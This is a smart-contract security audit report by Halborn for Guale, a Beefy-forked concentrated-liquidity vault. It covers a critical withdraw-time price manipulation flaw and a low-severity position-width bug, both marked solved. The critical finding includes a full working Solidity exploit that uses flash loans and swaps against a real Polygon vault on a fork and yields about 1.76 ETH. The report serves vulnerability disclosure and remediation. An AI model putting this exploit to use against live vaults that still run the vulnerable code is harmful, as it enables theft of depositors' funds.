Prepared by:
HALBORN
Last Updated 08/28/2025
Date of Engagement: July 17th, 2025 - July 21st, 2025
100% of all REPORTED Findings have been addressed
All findings
2
Critical
1
High
0
Medium
0
Low
1
Informational
0
Guale
engaged Halborn
to conduct a security assessment on their smart contracts beginning on July 17th, 2025 and ending on July 21st, 2025. The security assessment was scoped to the smart contracts provided to Halborn. Commit hashes and further details can be found in the Scope section of this report.
The Guale
codebase in scope consists of smart contracts forked from the Beefy codebase. The contracts provide users with different yield generation strategies, integrating different protocols like Uniswap V3, Aave and so on.
Halborn
was provided 4 days for the engagement and assigned a full-time security engineer to review the security of the smart contracts in scope.
The purpose of the assessment is to:
Identify potential security issues within the smart contracts.
Ensure that smart contract functionality operates as intended.
In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were fully addressed by the Guale
team. The recommendations were the following:
Do not allow operations like withdrawing during non-calm periods.
Add a check in the setPositionWidth function (and in initialize) to ensure positionWidth is never set to 1.
Halborn
performed a manual review of the code. Manual testing is great to uncover flaws in logic, process, and implementation.
The following phases and associated tools were used throughout the term of the assessment:
Research into architecture, purpose and use of the platform.
Smart contract manual code review and walkthrough to identify any logic issue.
Thorough assessment of safety and usage of critical Solidity variables and functions in scope that could led to arithmetic related vulnerabilities.
EXPLOITABILITY METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Attack Origin (AO) | Arbitrary (AO:A) Specific (AO:S) | 1 0.2 |
Attack Cost (AC) | Low (AC:L) Medium (AC:M) High (AC:H) | 1 0.67 0.33 |
Attack Complexity (AX) | Low (AX:L) Medium (AX:M) High (AX:H) | 1 0.67 0.33 |
IMPACT METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Confidentiality (C) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Integrity (I) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Availability (A) | None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C) | 0 0.25 0.5 0.75 1 |
Deposit (D) | None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C) | 0 0.25 0.5 0.75 1 |
Yield (Y) | None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C) | 0 0.25 0.5 0.75 1 |
SEVERITY COEFFICIENT () | COEFFICIENT VALUE | NUMERICAL VALUE |
---|---|---|
Reversibility () | None (R:N) Partial (R:P) Full (R:F) | 1 0.5 0.25 |
Scope () | Changed (S:C) Unchanged (S:U) | 1.25 1 |
Severity | Score Value Range |
---|---|
Critical | 9 - 10 |
High | 7 - 8.9 |
Medium | 4.5 - 6.9 |
Low | 2 - 4.4 |
Informational | 0 - 1.9 |
Critical
1
High
0
Medium
0
Low
1
Informational
0
Security analysis | Risk level | Remediation Date |
---|---|---|
Missing calm periods validations allow position manipulations | Critical | Solved - 07/22/2025 |
Position width of 1 is impossible to use | Low | Solved - 07/29/2025 |
//
Withdrawing from a position does not enforce the calm period validation which is enforced upon deposits:
function withdraw(uint256 _amount0, uint256 _amount1) external {
_onlyVault();
// Liquidity has already been removed in beforeAction() so this is just a simple withdraw.
if (_amount0 > 0) IERC20Metadata(lpToken0).safeTransfer(vault, _amount0);
if (_amount1 > 0) IERC20Metadata(lpToken1).safeTransfer(vault, _amount1);
// After we take what is needed we add it all back to our positions.
if (!_isPaused()) _addLiquidity();
(uint256 bal0, uint256 bal1) = balances();
// TVL Balances after withdraw
emit TVL(bal0, bal1);
}
As liquidity is later provided during the _addLiquidity()
internal function, then this allows an attacker to provide the liquidity using a skewed ratio, allowing profit for him and theft from the vault.
For example, the following sequence of attacks is profitable for the attacker:
Deposit a significant amount in the vault, which gets deposited into Uniswap.
Move the price below the alt position lower/upper tick (based on which side the alt position is in, relative to the main position), using a swap.
Withdraw the funds, which are all received in only 1 of the tokens, as the current price is outside our position.
Funds are deposited back, only in the alt position, requiring only one of the 2 tokens.
Attacker swaps back the pool, generating profit from the whole sequence.
Note that while these contracts are forked from Beefy, they are forked from a previous version which had the vulnerability present.
The following POC can be ran on block 61852250
on a Polygon fork, it is using a Beefy contract which is identical to the one the codebase is using (make sure to create a IUniswapV3Pool
file so the import works):
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import {Test, console, console2} from "forge-std/Test.sol";
import {IERC20} from "../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import "./IUniswapV3Pool.sol";
interface IStrategyConcLiq {
function balances() external view returns (uint256, uint256);
function balancesOfPool() external view returns (uint256 token0Bal, uint256 token1Bal, uint256 main0, uint256 main1, uint256 alt0, uint256 alt1);
function beforeAction() external;
function deposit() external;
function withdraw(uint256 _amount0, uint256 _amount1) external;
function pool() external view returns (address);
function lpToken0() external view returns (address);
function lpToken1() external view returns (address);
function isCalm() external view returns (bool);
function swapFee() external view returns (uint256);
function price() external view returns (uint256 _price);
function currentTick() external view returns (int24 tick);
function positionMain() external view returns (Position memory);
function positionAlt() external view returns (Position memory);
}
struct Position {
int24 tickLower;
int24 tickUpper;
}
interface IBeefyVaultConcLiq {
function previewDeposit(uint256 _amount0, uint256 _amount1) external view returns (uint256 shares, uint256 amount0, uint256 amount1, uint256 fee0, uint256 fee1);
function previewWithdraw(uint256 shares) external view returns (uint256 amount0, uint256 amount1);
function strategy() external view returns (address);
function totalSupply() external view returns (uint256);
function wants() external view returns (address, address);
function balances() external view returns (uint256, uint256);
function deposit(uint256 amount0, uint256 amount1, uint256 minShares) external;
function isCalm() external view returns (bool);
function withdraw(uint256 shares, uint256 min0, uint256 min1) external;
}
interface IMorpho {
function flashLoan(address token, uint256 assets, bytes memory data) external;
}
contract CounterTest is Test {
IERC20 wbtcToken0 = IERC20(0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6);
IERC20 wethToken1 = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);
IMorpho morpho = IMorpho(address(new Morpho()));
function testTry() public {
// We are mocking Morpho as it didn't exist in the fork block. We are using that specific fork block as we are forking Beefy, which has upgraded and fixed the bug, so using current blocks would fail for it. Fork block -> 61852250.
deal(address(wbtcToken0), address(morpho), 4165470912);
deal(address(wethToken1), address(morpho), 400e18); // Funding Morpho.
Attacker attacker = new Attacker();
uint256 wbtcBefore = wbtcToken0.balanceOf(address(attacker));
uint256 wethBefore = wethToken1.balanceOf(address(attacker));
vm.startPrank(address(32));
attacker.initiate(morpho);
uint256 wbtcAfter = wbtcToken0.balanceOf(address(attacker));
uint256 wethAfter = wethToken1.balanceOf(address(attacker));
assertEq(wbtcBefore, 0); // Start with 0 tokens.
assertEq(wethBefore, 0);
assertEq(wbtcAfter, 0);
assertEq(wethAfter, 1766993748785199042); // Profit -> ~1.76 ETH.
}
}
contract Attacker {
IBeefyVaultConcLiq vault = IBeefyVaultConcLiq(0x081901d477A296CDDE2084697c25Cfd52805BA31);
IStrategyConcLiq strat = IStrategyConcLiq(0x99108FB8899e73C8b06b252Acf9B758C09647c06);
IUniswapV3Pool pool = IUniswapV3Pool(0x50eaEDB835021E4A108B7290636d62E9765cc6d7);
IERC20 wbtcToken0 = IERC20(0x1BFD67037B42Cf73acF2047067bd4F2C47D9BfD6);
IERC20 wethToken1 = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);
IMorpho morpho;
function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes memory data) public {
data = data; // Avoid warnings.
require(msg.sender == address(pool));
if (amount0 > 0) {
wbtcToken0.transfer(msg.sender, uint256(amount0));
} else {
wethToken1.transfer(msg.sender, uint256(amount1));
}
}
function initiate(IMorpho _morpho) public {
morpho = _morpho;
require(msg.sender == address(32)); // Pseudo access control.
morpho.flashLoan(address(wbtcToken0), 4165470912, "first");
}
function onMorphoFlashLoan(uint256 assets, bytes memory data) public {
assets = assets; // Avoid warnings.
require(msg.sender == address(morpho));
if (keccak256("first") == keccak256(data)) morpho.flashLoan(address(wethToken1), 400e18, "second");
if (keccak256("second") == keccak256(data)) {
wbtcToken0.approve(address(vault), type(uint256).max);
wethToken1.approve(address(vault), type(uint256).max);
uint256 totalSupplyBefore = vault.totalSupply();
vault.deposit(5e8, 200e18, 0);
uint256 totalSupplyAfter = vault.totalSupply();
uint256 shares = totalSupplyAfter - totalSupplyBefore;
uint256 wethBeforeSwap = wethToken1.balanceOf(address(this));
pool.swap(address(this), true, 45e8, _getSqrtRatioAtTick(strat.positionMain().tickLower - 1), new bytes(0));
uint256 wethAfterSwap = wethToken1.balanceOf(address(this));
uint256 wethReceivedSwap = wethAfterSwap - wethBeforeSwap;
vault.withdraw(shares, 0, 0);
pool.swap(address(this), false, int256(wethReceivedSwap * 9125345379000 / 10000000000000), 1461446703485210103287273052203988822378723970341, new bytes(0)); // Providing an amount such that we can easily determine whether we were profitable or not, at the end of the attack, we have 0 WBTC and non-0 WETH, easily proving we were profitable, without having to check prices at the fork block.
wbtcToken0.approve(address(morpho), type(uint256).max);
wethToken1.approve(address(morpho), type(uint256).max);
}
}
function _getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
unchecked {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(int256(-887272)), 'T');
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
}
}
contract Morpho {
// Morpho didnt seem to exist in the fork block, so we just create our own with the exact same logic.
function flashLoan(address token, uint256 assets, bytes calldata data) external {
require(assets != 0);
IERC20(token).transfer(msg.sender, assets);
(bool ok, ) = msg.sender.call(abi.encodeWithSignature("onMorphoFlashLoan(uint256,bytes)", assets, data));
require(ok);
IERC20(token).transferFrom(msg.sender, address(this), assets);
}
}
The result from running the PoC is the following:
Consider forking the most up-to-date Beefy codebase, which does not have the vulnerability present.
SOLVED: The Guale
team solved this finding in the specified commit by following the mentioned recommendation.
//
When main and alt position ticks are set, the goal is for the main position to consist of the 2 pool tokens, while the alt position provide single-sided liquidity using the remaining token after the initial liquidity add. The alt position ticks are computed as shown below:
(positionAlt.tickLower, ) = TickUtils.baseTicks(
tick,
width,
distance
);
(positionAlt.tickUpper, ) = TickUtils.baseTicks(
tick,
distance,
distance
);
It calls baseTicks()
twice and gets the lower tick (first return value) on both calls. When the position width is 1, then the width
and distance
are equal, which means that the inputs for the 2 calls are identical. As they are identical and the function is pure, then the return values are also identical, thus the lower and upper tick of the alt position will be the same. In Uniswap V3, providing liquidity at the same lower and upper tick is impossible and will lead to a revert.
Add a check in the setPositionWidth
function (and in initialize
) to ensure positionWidth
is never set to 1.
Alternatively, document in the NatSpec comments and user documentation that positionWidth
must never be set to 1.
SOLVED: The Guale
team solved this finding in the specified commit by following the mentioned recommendation.
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.
// Download the full report
Guale CLM
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed